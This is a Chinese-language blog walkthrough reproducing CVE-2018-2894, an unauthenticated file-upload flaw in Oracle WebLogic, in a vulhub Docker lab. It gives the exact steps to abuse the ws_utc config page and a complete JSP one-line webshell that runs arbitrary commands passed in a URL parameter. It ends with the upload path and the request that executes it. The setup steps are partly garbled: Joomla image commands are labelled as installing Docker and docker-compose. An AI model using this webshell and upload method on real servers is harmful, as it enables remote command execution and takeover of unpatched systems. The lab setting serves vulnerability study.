文件上传漏洞复现(CVE-2018-2894)


前提条件:


1.安装docker


docker pull medicean/vulapps:j_joomla_2


2.安装docker-compose


docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub


搭建环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

cd vulhub/weblogic/CVE-2018-2894

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

然后使用下面命令,搭建docker-compose并启动:

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装中:

启动环境

等待安装完成后,环境就搭建成功了,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:7001进入weblogic环境:

访问10.9.75.45:7001/console,会自动跳转到登录界面,如图:

使用下面命令获取账号密码:

docker-compose logs | grep password

如图所示:


管理员用户名为weblogic,密码为IMt7uSYk


输入账号密码登录成功:

漏洞复现


WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do


点击 base_domain,点击advanced:

在advanced中开启下面的选项并保存,启用web测试页:

然后访问10.9.75.45:7001/ws_utc/config.do网页,这是管理端未授权的两个页面之一,存在任意上传getshell漏洞,可直接获取权限,在该网页将默认目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,然后提交。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

如图:

在安全中的add上传准备好的一句话木马文件,并用bp抓包:


该木马使用方式,传递两个参数 pwdi


pwd为设置的名称(123)。


i 为执行的命令。


时间戳可通过抓包获得。


一句话木马:

<%    if("123".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("</pre>");    }%>

抓包后Ctrl+r发送到重定向,点击发送,找到时间戳:

访问10.9.75.45:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即

http://10.9.75.45:7001/ws_utc/css/config/keystore/1693418013892_1.jsp?pwd=123&i=ls

webshell执行成功:

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容